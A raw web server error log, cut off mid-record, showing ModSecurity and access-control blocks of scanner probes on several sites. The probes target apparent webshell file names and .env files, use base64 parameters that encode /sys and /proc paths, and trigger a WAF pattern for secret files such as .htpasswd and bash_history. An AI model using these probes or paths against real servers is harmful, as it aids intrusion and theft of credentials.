https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDUvcG93ZXI= [Sat Jun 13 18:10:10.904543 2026] [access_compat:error] [pid 531155:tid 531240] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDUvcG93ZXI= [Sat Jun 13 18:10:10.931663 2026] [access_compat:error] [pid 531797:tid 531879] [remote 57.141.14.48:37985] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:10.932128 2026] [access_compat:error] [pid 531797:tid 531879] [remote 57.141.14.48:37985] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:10.987594 2026] [access_compat:error] [pid 531797:tid 531893] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3N5cy9tb2R1bGUvZXh0NA== [Sat Jun 13 18:10:10.988064 2026] [access_compat:error] [pid 531797:tid 531893] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3N5cy9tb2R1bGUvZXh0NA== [Sat Jun 13 18:10:11.084461 2026] [access_compat:error] [pid 531797:tid 531969] [remote 57.141.14.74:28404] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:11.084807 2026] [access_compat:error] [pid 531797:tid 531969] [remote 57.141.14.74:28404] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:11.143818 2026] [security2:error] [pid 531797:tid 532110] [client 191.234.188.123:63898] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/xl9.php"] [unique_id "ai3xY8TA7b1mZrmcA-8iCwAAAoM"] [Sat Jun 13 18:10:11.205013 2026] [security2:error] [pid 531797:tid 531931] [remote 74.7.227.22:52280] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 22.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.homs.co.ke"] [uri "/"] [unique_id "ai3xY8TA7b1mZrmcA-8iDwACRUM"], referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAzL2N3ZC9BYQ== [Sat Jun 13 18:10:11.342963 2026] [access_compat:error] [pid 531797:tid 531910] [remote 57.141.14.34:48480] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:11.343397 2026] [access_compat:error] [pid 531797:tid 531910] [remote 57.141.14.34:48480] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:11.378696 2026] [security2:error] [pid 531797:tid 532116] [client 191.233.234.186:44350] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/invisi.php"] [unique_id "ai3xY8TA7b1mZrmcA-8iGgAAAok"] [Sat Jun 13 18:10:11.415124 2026] [security2:error] [pid 531797:tid 531984] [remote 17.241.75.124:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 124.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xY8TA7b1mZrmcA-8iGwACXnc"] [Sat Jun 13 18:10:11.440544 2026] [security2:error] [pid 531797:tid 532084] [client 20.151.217.54:23939] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/drykl.php"] [unique_id "ai3xY8TA7b1mZrmcA-8iHAAAAmo"] [Sat Jun 13 18:10:11.448947 2026] [access_compat:error] [pid 531155:tid 531235] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDcvZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:10:11.449404 2026] [access_compat:error] [pid 531155:tid 531235] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDcvZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:10:11.493509 2026] [access_compat:error] [pid 531797:tid 531940] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3N5cy9tb2R1bGUvODI1MA== [Sat Jun 13 18:10:11.493961 2026] [access_compat:error] [pid 531797:tid 531940] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3N5cy9tb2R1bGUvODI1MA== [Sat Jun 13 18:10:11.616185 2026] [access_compat:error] [pid 531797:tid 531952] [remote 57.141.14.85:35246] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:11.616472 2026] [access_compat:error] [pid 531797:tid 531952] [remote 57.141.14.85:35246] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:11.625215 2026] [access_compat:error] [pid 531797:tid 531912] [remote 216.73.216.182:62278] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:11.625587 2026] [access_compat:error] [pid 531797:tid 531912] [remote 216.73.216.182:62278] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:11.891169 2026] [access_compat:error] [pid 531155:tid 531184] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9kZXZpY2UvZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:10:11.891537 2026] [access_compat:error] [pid 531155:tid 531184] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9kZXZpY2UvZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:10:11.944038 2026] [security2:error] [pid 531797:tid 532034] [client 172.171.3.232:41484] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/f222.php"] [unique_id "ai3xY8TA7b1mZrmcA-8iKQAAAjk"] [Sat Jun 13 18:10:12.006251 2026] [access_compat:error] [pid 531797:tid 531970] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?del=wp-admin&p=L3Byb2MvMTAzNTQ0MS9jd2Q= [Sat Jun 13 18:10:12.006532 2026] [access_compat:error] [pid 531797:tid 531970] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?del=wp-admin&p=L3Byb2MvMTAzNTQ0MS9jd2Q= [Sat Jun 13 18:10:12.039037 2026] [security2:error] [pid 531155:tid 531395] [client 20.151.217.54:40243] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/samll.php"] [unique_id "ai3xZCmiP80klyS0Nnr2BQAAAXg"] [Sat Jun 13 18:10:12.142587 2026] [security2:error] [pid 531797:tid 532020] [client 20.151.217.54:23950] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/h2a2ck.php"] [unique_id "ai3xZMTA7b1mZrmcA-8iLwAAAiw"] [Sat Jun 13 18:10:12.151593 2026] [security2:error] [pid 531155:tid 531268] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/app_dev.php/_profiler/open"] [unique_id "ai3xZCmiP80klyS0Nnr2BwABg3A"] [Sat Jun 13 18:10:12.178588 2026] [security2:error] [pid 531797:tid 531959] [remote 17.22.253.238:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 238.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xZMTA7b1mZrmcA-8iMAACTV8"] [Sat Jun 13 18:10:12.287883 2026] [security2:error] [pid 531155:tid 531168] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/app_dev.php/_profiler/open"] [unique_id "ai3xZCmiP80klyS0Nnr2CAABVgw"] [Sat Jun 13 18:10:12.377972 2026] [access_compat:error] [pid 531155:tid 531215] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vbW91c2UwL2RldmljZQ== [Sat Jun 13 18:10:12.378253 2026] [access_compat:error] [pid 531155:tid 531215] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vbW91c2UwL2RldmljZQ== [Sat Jun 13 18:10:12.390163 2026] [access_compat:error] [pid 531797:tid 531953] [remote 57.141.14.82:44086] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:12.390606 2026] [access_compat:error] [pid 531797:tid 531953] [remote 57.141.14.82:44086] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:12.423175 2026] [security2:error] [pid 531155:tid 531225] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/app_dev.php/_profiler/open"] [unique_id "ai3xZCmiP80klyS0Nnr2CwABIUU"] [Sat Jun 13 18:10:12.464249 2026] [security2:error] [pid 531797:tid 531987] [remote 57.141.14.110:55520] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 110.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3xZMTA7b1mZrmcA-8iOAACZno"], referer: https://nelsonfarmstn.com/product/lavender-chamomile/?add_to_wishlist=1255&_wpnonce=a9376aed05&add-to-cart=1258 [Sat Jun 13 18:10:12.538517 2026] [access_compat:error] [pid 531155:tid 531172] [remote 57.141.14.8:47811] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:12.538858 2026] [access_compat:error] [pid 531155:tid 531172] [remote 57.141.14.8:47811] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:12.548461 2026] [access_compat:error] [pid 531797:tid 531930] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvODc0NDkwL3Jvb3Q= [Sat Jun 13 18:10:12.548871 2026] [access_compat:error] [pid 531797:tid 531930] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvODc0NDkwL3Jvb3Q= [Sat Jun 13 18:10:12.560393 2026] [security2:error] [pid 531155:tid 531223] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/api/.env"] [unique_id "ai3xZCmiP80klyS0Nnr2DgABSUM"] [Sat Jun 13 18:10:12.697398 2026] [security2:error] [pid 531797:tid 532110] [client 191.233.234.186:40290] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-initiative.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ai3xZMTA7b1mZrmcA-8iQgAAAoM"] [Sat Jun 13 18:10:12.741185 2026] [security2:error] [pid 531797:tid 532017] [client 20.151.217.54:24046] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/777.php"] [unique_id "ai3xZMTA7b1mZrmcA-8iRQAAAik"] [Sat Jun 13 18:10:12.861310 2026] [security2:error] [pid 531155:tid 531180] [remote 17.246.15.132:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 132.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xZCmiP80klyS0Nnr2FQABMRg"] [Sat Jun 13 18:10:12.870507 2026] [access_compat:error] [pid 531797:tid 531887] [remote 57.141.14.15:26727] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:12.870961 2026] [access_compat:error] [pid 531797:tid 531887] [remote 57.141.14.15:26727] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:12.928978 2026] [access_compat:error] [pid 531155:tid 531177] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50My9kZXZpY2UvbW91c2UwL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:10:12.929407 2026] [access_compat:error] [pid 531155:tid 531177] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50My9kZXZpY2UvbW91c2UwL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:10:13.055624 2026] [access_compat:error] [pid 531797:tid 531983] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L2xpYjY0 [Sat Jun 13 18:10:13.055971 2026] [access_compat:error] [pid 531797:tid 531983] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L2xpYjY0 [Sat Jun 13 18:10:13.112924 2026] [security2:error] [pid 531155:tid 531371] [client 20.151.217.54:23982] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/s-axi.php"] [unique_id "ai3xZSmiP80klyS0Nnr2GQAAAWA"] [Sat Jun 13 18:10:13.298463 2026] [lsapi:warn] [pid 531797:tid 532010] [client 173.254.29.157:38786] [host nelsonfarmstn.com] Backend log: WordPress database error Commands out of sync; you can't run this command now for query SELECT option_name, option_value FROM wp_options WHERE option_name IN ('_transient_jetpack_update_remote_package_last_query','_transient_timeout_jetpack_update_remote_package_last_query') made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\\Jetpack\\Connection\\Package_Version_Tracker->maybe_update_package_versions, Automattic\\Jetpack\\Connection\\Package_Version_Tracker->is_rate_limiting, get_transient, wp_prime_option_caches\n [Sat Jun 13 18:10:13.298496 2026] [lsapi:warn] [pid 531797:tid 532010] [client 173.254.29.157:38786] [host nelsonfarmstn.com] Backend log: WordPress database error Commands out of sync; you can't run this command now for query INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_timeout_jetpack_update_remote_package_last_query', '1781395873', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\\Jetpack\\Connection\\Package_Version_Tracker->maybe_update_package_versions, Automattic\\Jetpack\\Connection\\Package_Version_Tracker->is_rate_limiting, set_transient, add_option\n [Sat Jun 13 18:10:13.298516 2026] [lsapi:warn] [pid 531797:tid 532010] [client 173.254.29.157:38786] [host nelsonfarmstn.com] Backend log: WordPress database error Commands out of sync; you can't run this command now for query INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES 